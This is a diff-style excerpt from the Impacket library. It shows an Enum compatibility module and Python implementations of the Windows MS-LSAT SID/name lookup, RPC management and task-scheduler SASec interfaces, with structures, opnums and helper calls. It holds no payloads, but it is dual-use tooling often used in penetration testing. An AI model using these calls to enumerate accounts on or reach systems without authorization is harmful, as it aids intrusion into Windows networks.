for item in names:
if isinstance(item, str):
member_name, member_value = item, names[item]
else:
member_name, member_value = item
classdict[member_name] = member_value
__order__.append(member_name)
# only set __order__ in classdict if name/value was not from a mapping
if not isinstance(item, str):
classdict['__order__'] = ' '.join(__order__)
enum_class = metacls.__new__(metacls, class_name, bases, classdict)
# TODO: replace the frame hack if a blessed way to know the calling
# module is ever developed
if module is None:
try:
module = _sys._getframe(2).f_globals['__name__']
except (AttributeError, ValueError):
pass
if module is None:
_make_class_unpicklable(enum_class)
else:
enum_class.__module__ = module
return enum_class
@staticmethod
def _get_mixins_(bases):
"""Returns the type for creating enum members, and the first inherited
enum class.
bases: the tuple of bases that was given to __new__
"""
if not bases or Enum is None:
return object, Enum
# double check that we are not subclassing a class with existing
# enumeration members; while we're at it, see if any other data
# type has been mixed in so we can use the correct __new__
member_type = first_enum = None
for base in bases:
if (base is not Enum and
issubclass(base, Enum) and
base._member_names_):
raise TypeError("Cannot extend enumerations")
# base is now the last base in bases
if not issubclass(base, Enum):
raise TypeError("new enumerations must be created as "
"`ClassName([mixin_type,] enum_type)`")
# get correct mix-in type (either mix-in type of Enum subclass, or
# first base if last base is Enum)
if not issubclass(bases[0], Enum):
member_type = bases[0] # first data type
first_enum = bases[-1] # enum type
else:
for base in bases[0].__mro__:
# most common: (IntEnum, int, Enum, object)
# possible: (<Enum 'AutoIntEnum'>, <Enum 'IntEnum'>,
# <class 'int'>, <Enum 'Enum'>,
# <class 'object'>)
if issubclass(base, Enum):
if first_enum is None:
first_enum = base
else:
if member_type is None:
member_type = base
return member_type, first_enum
if pyver < 3.0:
@staticmethod
def _find_new_(classdict, member_type, first_enum):
"""Returns the __new__ to be used for creating the enum members.
classdict: the class dictionary given to __new__
member_type: the data type whose __new__ will be used by default
first_enum: enumeration to check for an overriding __new__
"""
# now find the correct __new__, checking to see of one was defined
# by the user; also check earlier enum classes in case a __new__ was
# saved as __member_new__
__new__ = classdict.get('__new__', None)
if __new__:
return None, True, True # __new__, save_new, use_args
N__new__ = getattr(None, '__new__')
O__new__ = getattr(object, '__new__')
if Enum is None:
E__new__ = N__new__
else:
E__new__ = Enum.__dict__['__new__']
# check all possibles for __member_new__ before falling back to
# __new__
for method in ('__member_new__', '__new__'):
for possible in (member_type, first_enum):
try:
target = possible.__dict__[method]
except (AttributeError, KeyError):
target = getattr(possible, method, None)
if target not in [
None,
N__new__,
O__new__,
E__new__,
]:
if method == '__member_new__':
classdict['__new__'] = target
return None, False, True
if isinstance(target, staticmethod):
target = target.__get__(member_type)
__new__ = target
break
if __new__ is not None:
break
else:
__new__ = object.__new__
# if a non-object.__new__ is used then whatever value/tuple was
# assigned to the enum member name will be passed to __new__ and to the
# new enum member's __init__
if __new__ is object.__new__:
use_args = False
else:
use_args = True
return __new__, False, use_args
else:
@staticmethod
def _find_new_(classdict, member_type, first_enum):
"""Returns the __new__ to be used for creating the enum members.
classdict: the class dictionary given to __new__
member_type: the data type whose __new__ will be used by default
first_enum: enumeration to check for an overriding __new__
"""
# now find the correct __new__, checking to see of one was defined
# by the user; also check earlier enum classes in case a __new__ was
# saved as __member_new__
__new__ = classdict.get('__new__', None)
# should __new__ be saved as __member_new__ later?
save_new = __new__ is not None
if __new__ is None:
# check all possibles for __member_new__ before falling back to
# __new__
for method in ('__member_new__', '__new__'):
for possible in (member_type, first_enum):
target = getattr(possible, method, None)
if target not in (
None,
None.__new__,
object.__new__,
Enum.__new__,
):
__new__ = target
break
if __new__ is not None:
break
else:
__new__ = object.__new__
# if a non-object.__new__ is used then whatever value/tuple was
# assigned to the enum member name will be passed to __new__ and to the
# new enum member's __init__
if __new__ is object.__new__:
use_args = False
else:
use_args = True
return __new__, save_new, use_args
########################################################
# In order to support Python 2 and 3 with a single
# codebase we have to create the Enum methods separately
# and then use the `type(name, bases, dict)` method to
# create the class.
########################################################
temp_enum_dict = {}
temp_enum_dict['__doc__'] = "Generic enumeration.\n\n Derive from this class to define new enumerations.\n\n"
def __new__(cls, value):
# all enum instances are actually created during class construction
# without calling this method; this method is called by the metaclass'
# __call__ (i.e. Color(3) ), and by pickle
if type(value) is cls:
# For lookups like Color(Color.red)
value = value.value
#return value
# by-value search for a matching enum member
# see if it's in the reverse mapping (for hashable values)
try:
if value in cls._value2member_map_:
return cls._value2member_map_[value]
except TypeError:
# not there, now do long search -- O(n) behavior
for member in cls._member_map_.values():
if member.value == value:
return member
raise ValueError("%s is not a valid %s" % (value, cls.__name__))
temp_enum_dict['__new__'] = __new__
del __new__
def __repr__(self):
return "<%s.%s: %r>" % (
self.__class__.__name__, self._name_, self._value_)
temp_enum_dict['__repr__'] = __repr__
del __repr__
def __str__(self):
return "%s.%s" % (self.__class__.__name__, self._name_)
temp_enum_dict['__str__'] = __str__
del __str__
def __dir__(self):
added_behavior = [m for m in self.__class__.__dict__ if m[0] != '_']
return (['__class__', '__doc__', '__module__', 'name', 'value'] + added_behavior)
temp_enum_dict['__dir__'] = __dir__
del __dir__
def __format__(self, format_spec):
# mixed-in Enums should use the mixed-in type's __format__, otherwise
# we can get strange results with the Enum name showing up instead of
# the value
# pure Enum branch
if self._member_type_ is object:
cls = str
val = str(self)
# mix-in branch
else:
cls = self._member_type_
val = self.value
return cls.__format__(val, format_spec)
temp_enum_dict['__format__'] = __format__
del __format__
####################################
# Python's less than 2.6 use __cmp__
if pyver < 2.6:
def __cmp__(self, other):
if type(other) is self.__class__:
if self is other:
return 0
return -1
return NotImplemented
raise TypeError("unorderable types: %s() and %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__cmp__'] = __cmp__
del __cmp__
else:
def __le__(self, other):
raise TypeError("unorderable types: %s() <= %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__le__'] = __le__
del __le__
def __lt__(self, other):
raise TypeError("unorderable types: %s() < %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__lt__'] = __lt__
del __lt__
def __ge__(self, other):
raise TypeError("unorderable types: %s() >= %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__ge__'] = __ge__
del __ge__
def __gt__(self, other):
raise TypeError("unorderable types: %s() > %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__gt__'] = __gt__
del __gt__
def __eq__(self, other):
if type(other) is self.__class__:
return self is other
return NotImplemented
temp_enum_dict['__eq__'] = __eq__
del __eq__
def __ne__(self, other):
if type(other) is self.__class__:
return self is not other
return NotImplemented
temp_enum_dict['__ne__'] = __ne__
del __ne__
def __getnewargs__(self):
return (self._value_, )
temp_enum_dict['__getnewargs__'] = __getnewargs__
del __getnewargs__
def __hash__(self):
return hash(self._name_)
temp_enum_dict['__hash__'] = __hash__
del __hash__
# _RouteClassAttributeToGetattr is used to provide access to the `name`
# and `value` properties of enum members while keeping some measure of
# protection from modification, while still allowing for an enumeration
# to have members named `name` and `value`. This works because enumeration
# members are not set directly on the enum class -- __getattr__ is
# used to look them up.
@_RouteClassAttributeToGetattr
def name(self):
return self._name_
temp_enum_dict['name'] = name
del name
@_RouteClassAttributeToGetattr
def value(self):
return self._value_
temp_enum_dict['value'] = value
del value
Enum = EnumMeta('Enum', (object, ), temp_enum_dict)
del temp_enum_dict
# Enum has now been created
###########################
class IntEnum(int, Enum):
"""Enum where members are also (and must be) ints"""
def unique(enumeration):
"""Class decorator that ensures only unique members exist in an enumeration."""
duplicates = []
for name, member in enumeration.__members__.items():
if name != member.name:
duplicates.append((name, member.name))
if duplicates:
duplicate_names = ', '.join(
["%s -> %s" % (alias, name) for (alias, name) in duplicates]
)
raise ValueError('duplicate names found in %r: %s' %
(enumeration, duplicate_names)
)
return enumeration

View File

@@ -0,0 +1,498 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-LSAT] Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import ULONG, LONG, PRPC_SID, RPC_UNICODE_STRING, LPWSTR, PRPC_UNICODE_STRING, NTSTATUS, \
NULL
from impacket import nt_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.enum import Enum
from impacket.dcerpc.v5.lsad import LSAPR_HANDLE, LSAPR_ACL, SECURITY_DESCRIPTOR_CONTROL, LSAPR_SECURITY_DESCRIPTOR, \
PLSAPR_SECURITY_DESCRIPTOR, SECURITY_IMPERSONATION_LEVEL, SECURITY_CONTEXT_TRACKING_MODE, \
SECURITY_QUALITY_OF_SERVICE, LSAPR_OBJECT_ATTRIBUTES, LSAPR_TRUST_INFORMATION, PLSAPR_TRUST_INFORMATION_ARRAY, \
PRPC_UNICODE_STRING_ARRAY, LsarOpenPolicy2, LsarOpenPolicy, LsarClose, hLsarOpenPolicy2, hLsarOpenPolicy, hLsarClose
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_LSAT = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if nt_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
return 'LSAT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'LSAT SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 2.2.10 ACCESS_MASK
POLICY_LOOKUP_NAMES = 0x00000800
################################################################################
# STRUCTURES
################################################################################
# 2.2.12 LSAPR_REFERENCED_DOMAIN_LIST
class LSAPR_REFERENCED_DOMAIN_LIST(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Domains', PLSAPR_TRUST_INFORMATION_ARRAY),
('MaxEntries', ULONG),
)
class PLSAPR_REFERENCED_DOMAIN_LIST(NDRPOINTER):
referent = (
('Data', LSAPR_REFERENCED_DOMAIN_LIST),
)
# 2.2.14 LSA_TRANSLATED_SID
class LSA_TRANSLATED_SID(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('RelativeId', ULONG),
('DomainIndex', LONG),
)
# 2.2.15 LSAPR_TRANSLATED_SIDS
class LSA_TRANSLATED_SID_ARRAY(NDRUniConformantArray):
item = LSA_TRANSLATED_SID
class PLSA_TRANSLATED_SID_ARRAY(NDRPOINTER):
referent = (
('Data', LSA_TRANSLATED_SID_ARRAY),
)
class LSAPR_TRANSLATED_SIDS(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Sids', PLSA_TRANSLATED_SID_ARRAY),
)
# 2.2.16 LSAP_LOOKUP_LEVEL
class LSAP_LOOKUP_LEVEL(NDRENUM):
class enumItems(Enum):
LsapLookupWksta = 1
LsapLookupPDC = 2
LsapLookupTDL = 3
LsapLookupGC = 4
LsapLookupXForestReferral = 5
LsapLookupXForestResolve = 6
LsapLookupRODCReferralToFullDC = 7
# 2.2.17 LSAPR_SID_INFORMATION
class LSAPR_SID_INFORMATION(NDRSTRUCT):
structure = (
('Sid', PRPC_SID),
)
# 2.2.18 LSAPR_SID_ENUM_BUFFER
class LSAPR_SID_INFORMATION_ARRAY(NDRUniConformantArray):
item = LSAPR_SID_INFORMATION
class PLSAPR_SID_INFORMATION_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_SID_INFORMATION_ARRAY),
)
class LSAPR_SID_ENUM_BUFFER(NDRSTRUCT):
structure = (
('Entries', ULONG),
('SidInfo', PLSAPR_SID_INFORMATION_ARRAY),
)
# 2.2.19 LSAPR_TRANSLATED_NAME
class LSAPR_TRANSLATED_NAME(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('Name', RPC_UNICODE_STRING),
('DomainIndex', LONG),
)
# 2.2.20 LSAPR_TRANSLATED_NAMES
class LSAPR_TRANSLATED_NAME_ARRAY(NDRUniConformantArray):
item = LSAPR_TRANSLATED_NAME
class PLSAPR_TRANSLATED_NAME_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_TRANSLATED_NAME_ARRAY),
)
class LSAPR_TRANSLATED_NAMES(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Names', PLSAPR_TRANSLATED_NAME_ARRAY),
)
# 2.2.21 LSAPR_TRANSLATED_NAME_EX
class LSAPR_TRANSLATED_NAME_EX(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('Name', RPC_UNICODE_STRING),
('DomainIndex', LONG),
('Flags', ULONG),
)
# 2.2.22 LSAPR_TRANSLATED_NAMES_EX
class LSAPR_TRANSLATED_NAME_EX_ARRAY(NDRUniConformantArray):
item = LSAPR_TRANSLATED_NAME_EX
class PLSAPR_TRANSLATED_NAME_EX_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_TRANSLATED_NAME_EX_ARRAY),
)
class LSAPR_TRANSLATED_NAMES_EX(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Names', PLSAPR_TRANSLATED_NAME_EX_ARRAY),
)
# 2.2.23 LSAPR_TRANSLATED_SID_EX
class LSAPR_TRANSLATED_SID_EX(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('RelativeId', ULONG),
('DomainIndex', LONG),
('Flags', ULONG),
)
# 2.2.24 LSAPR_TRANSLATED_SIDS_EX
class LSAPR_TRANSLATED_SID_EX_ARRAY(NDRUniConformantArray):
item = LSAPR_TRANSLATED_SID_EX
class PLSAPR_TRANSLATED_SID_EX_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_TRANSLATED_SID_EX_ARRAY),
)
class LSAPR_TRANSLATED_SIDS_EX(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Sids', PLSAPR_TRANSLATED_SID_EX_ARRAY),
)
# 2.2.25 LSAPR_TRANSLATED_SID_EX2
class LSAPR_TRANSLATED_SID_EX2(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('Sid', PRPC_SID),
('DomainIndex', LONG),
('Flags', ULONG),
)
# 2.2.26 LSAPR_TRANSLATED_SIDS_EX2
class LSAPR_TRANSLATED_SID_EX2_ARRAY(NDRUniConformantArray):
item = LSAPR_TRANSLATED_SID_EX2
class PLSAPR_TRANSLATED_SID_EX2_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_TRANSLATED_SID_EX2_ARRAY),
)
class LSAPR_TRANSLATED_SIDS_EX2(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Sids', PLSAPR_TRANSLATED_SID_EX2_ARRAY),
)
class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray):
item = RPC_UNICODE_STRING
################################################################################
# RPC CALLS
################################################################################
# 3.1.4.4 LsarGetUserName (Opnum 45)
class LsarGetUserName(NDRCALL):
opnum = 45
structure = (
('SystemName', LPWSTR),
('UserName', PRPC_UNICODE_STRING),
('DomainName', PRPC_UNICODE_STRING),
)
class LsarGetUserNameResponse(NDRCALL):
structure = (
('UserName', PRPC_UNICODE_STRING),
('DomainName', PRPC_UNICODE_STRING),
('ErrorCode', NTSTATUS),
)
# 3.1.4.5 LsarLookupNames4 (Opnum 77)
class LsarLookupNames4(NDRCALL):
opnum = 77
structure = (
('Count', ULONG),
('Names', RPC_UNICODE_STRING_ARRAY),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupNames4Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.6 LsarLookupNames3 (Opnum 68)
class LsarLookupNames3(NDRCALL):
opnum = 68
structure = (
('PolicyHandle', LSAPR_HANDLE),
('Count', ULONG),
('Names', RPC_UNICODE_STRING_ARRAY),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupNames3Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.7 LsarLookupNames2 (Opnum 58)
class LsarLookupNames2(NDRCALL):
opnum = 58
structure = (
('PolicyHandle', LSAPR_HANDLE),
('Count', ULONG),
('Names', RPC_UNICODE_STRING_ARRAY),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupNames2Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.8 LsarLookupNames (Opnum 14)
class LsarLookupNames(NDRCALL):
opnum = 14
structure = (
('PolicyHandle', LSAPR_HANDLE),
('Count', ULONG),
('Names', RPC_UNICODE_STRING_ARRAY),
('TranslatedSids', LSAPR_TRANSLATED_SIDS),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
)
class LsarLookupNamesResponse(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedSids', LSAPR_TRANSLATED_SIDS),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.9 LsarLookupSids3 (Opnum 76)
class LsarLookupSids3(NDRCALL):
opnum = 76
structure = (
('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupSids3Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.10 LsarLookupSids2 (Opnum 57)
class LsarLookupSids2(NDRCALL):
opnum = 57
structure = (
('PolicyHandle', LSAPR_HANDLE),
('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupSids2Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.11 LsarLookupSids (Opnum 15)
class LsarLookupSids(NDRCALL):
opnum = 15
structure = (
('PolicyHandle', LSAPR_HANDLE),
('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
('TranslatedNames', LSAPR_TRANSLATED_NAMES),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
)
class LsarLookupSidsResponse(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedNames', LSAPR_TRANSLATED_NAMES),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
14 : (LsarLookupNames, LsarLookupNamesResponse),
15 : (LsarLookupSids, LsarLookupSidsResponse),
45 : (LsarGetUserName, LsarGetUserNameResponse),
57 : (LsarLookupSids2, LsarLookupSids2Response),
58 : (LsarLookupNames2, LsarLookupNames2Response),
68 : (LsarLookupNames3, LsarLookupNames3Response),
76 : (LsarLookupSids3, LsarLookupSids3Response),
77 : (LsarLookupNames4, LsarLookupNames4Response),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def hLsarGetUserName(dce, userName = NULL, domainName = NULL):
request = LsarGetUserName()
request['SystemName'] = NULL
request['UserName'] = userName
request['DomainName'] = domainName
return dce.request(request)
def hLsarLookupNames4(dce, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
request = LsarLookupNames4()
request['Count'] = len(names)
for name in names:
itemn = RPC_UNICODE_STRING()
itemn['Data'] = name
request['Names'].append(itemn)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lookupLevel
request['LookupOptions'] = lookupOptions
request['ClientRevision'] = clientRevision
return dce.request(request)
def hLsarLookupNames3(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
request = LsarLookupNames3()
request['PolicyHandle'] = policyHandle
request['Count'] = len(names)
for name in names:
itemn = RPC_UNICODE_STRING()
itemn['Data'] = name
request['Names'].append(itemn)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lookupLevel
request['LookupOptions'] = lookupOptions
request['ClientRevision'] = clientRevision
return dce.request(request)
def hLsarLookupNames2(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
request = LsarLookupNames2()
request['PolicyHandle'] = policyHandle
request['Count'] = len(names)
for name in names:
itemn = RPC_UNICODE_STRING()
itemn['Data'] = name
request['Names'].append(itemn)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lookupLevel
request['LookupOptions'] = lookupOptions
request['ClientRevision'] = clientRevision
return dce.request(request)
def hLsarLookupNames(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta):
request = LsarLookupNames()
request['PolicyHandle'] = policyHandle
request['Count'] = len(names)
for name in names:
itemn = RPC_UNICODE_STRING()
itemn['Data'] = name
request['Names'].append(itemn)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lookupLevel
return dce.request(request)
def hLsarLookupSids2(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
request = LsarLookupSids2()
request['PolicyHandle'] = policyHandle
request['SidEnumBuffer']['Entries'] = len(sids)
for sid in sids:
itemn = LSAPR_SID_INFORMATION()
itemn['Sid'].fromCanonical(sid)
request['SidEnumBuffer']['SidInfo'].append(itemn)
request['TranslatedNames']['Names'] = NULL
request['LookupLevel'] = lookupLevel
request['LookupOptions'] = lookupOptions
request['ClientRevision'] = clientRevision
return dce.request(request)
def hLsarLookupSids(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta):
request = LsarLookupSids()
request['PolicyHandle'] = policyHandle
request['SidEnumBuffer']['Entries'] = len(sids)
for sid in sids:
itemn = LSAPR_SID_INFORMATION()
itemn['Sid'].fromCanonical(sid)
request['SidEnumBuffer']['SidInfo'].append(itemn)
request['TranslatedNames']['Names'] = NULL
request['LookupLevel'] = lookupLevel
return dce.request(request)

View File

@@ -0,0 +1,168 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [C706] Remote Management Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray
from impacket.dcerpc.v5.epm import PRPC_IF_ID
from impacket.dcerpc.v5.dtypes import ULONG, DWORD_ARRAY, ULONGLONG
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
from impacket import nt_errors
MSRPC_UUID_MGMT = uuidtup_to_bin(('afa8bd80-7d8a-11c9-bef4-08002b102989','1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if nt_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
return 'MGMT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'MGMT SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
class rpc_if_id_p_t_array(NDRUniConformantArray):
item = PRPC_IF_ID
class rpc_if_id_vector_t(NDRSTRUCT):
structure = (
('count',ULONG),
('if_id',rpc_if_id_p_t_array),
)
structure64 = (
('count',ULONGLONG),
('if_id',rpc_if_id_p_t_array),
)
class rpc_if_id_vector_p_t(NDRPOINTER):
referent = (
('Data', rpc_if_id_vector_t),
)
error_status = ULONG
################################################################################
# STRUCTURES
################################################################################
################################################################################
# RPC CALLS
################################################################################
class inq_if_ids(NDRCALL):
opnum = 0
structure = (
)
class inq_if_idsResponse(NDRCALL):
structure = (
('if_id_vector', rpc_if_id_vector_p_t),
('status', error_status),
)
class inq_stats(NDRCALL):
opnum = 1
structure = (
('count', ULONG),
)
class inq_statsResponse(NDRCALL):
structure = (
('count', ULONG),
('statistics', DWORD_ARRAY),
('status', error_status),
)
class is_server_listening(NDRCALL):
opnum = 2
structure = (
)
class is_server_listeningResponse(NDRCALL):
structure = (
('status', error_status),
)
class stop_server_listening(NDRCALL):
opnum = 3
structure = (
)
class stop_server_listeningResponse(NDRCALL):
structure = (
('status', error_status),
)
class inq_princ_name(NDRCALL):
opnum = 4
structure = (
('authn_proto', ULONG),
('princ_name_size', ULONG),
)
class inq_princ_nameResponse(NDRCALL):
structure = (
('princ_name', NDRUniConformantVaryingArray),
('status', error_status),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (inq_if_ids, inq_if_idsResponse),
1 : (inq_stats, inq_statsResponse),
2 : (is_server_listening, is_server_listeningResponse),
3 : (stop_server_listening, stop_server_listeningResponse),
4 : (inq_princ_name, inq_princ_nameResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def hinq_if_ids(dce):
request = inq_if_ids()
return dce.request(request)
def hinq_stats(dce, count = 4):
request = inq_stats()
request['count'] = count
return dce.request(request)
def his_server_listening(dce):
request = is_server_listening()
return dce.request(request, checkError=False)
def hstop_server_listening(dce):
request = stop_server_listening()
return dce.request(request)
def hinq_princ_name(dce, authn_proto=0, princ_name_size=1):
request = inq_princ_name()
request['authn_proto'] = authn_proto
request['princ_name_size'] = princ_name_size
return dce.request(request, checkError=False)

View File

@@ -0,0 +1,175 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-TSCH] SASec Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL
from impacket import hresult_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_SASEC = uuidtup_to_bin(('378E52B0-C0A9-11CF-822D-00AA0051E40F','1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if hresult_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
SASEC_HANDLE = WSTR
PSASEC_HANDLE = LPWSTR
MAX_BUFFER_SIZE = 273
# 3.2.5.3.4 SASetAccountInformation (Opnum 0)
TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x40000
################################################################################
# STRUCTURES
################################################################################
class WORD_ARRAY(NDRUniConformantArray):
item = '<H'
################################################################################
# RPC CALLS
################################################################################
# 3.2.5.3.4 SASetAccountInformation (Opnum 0)
class SASetAccountInformation(NDRCALL):
opnum = 0
structure = (
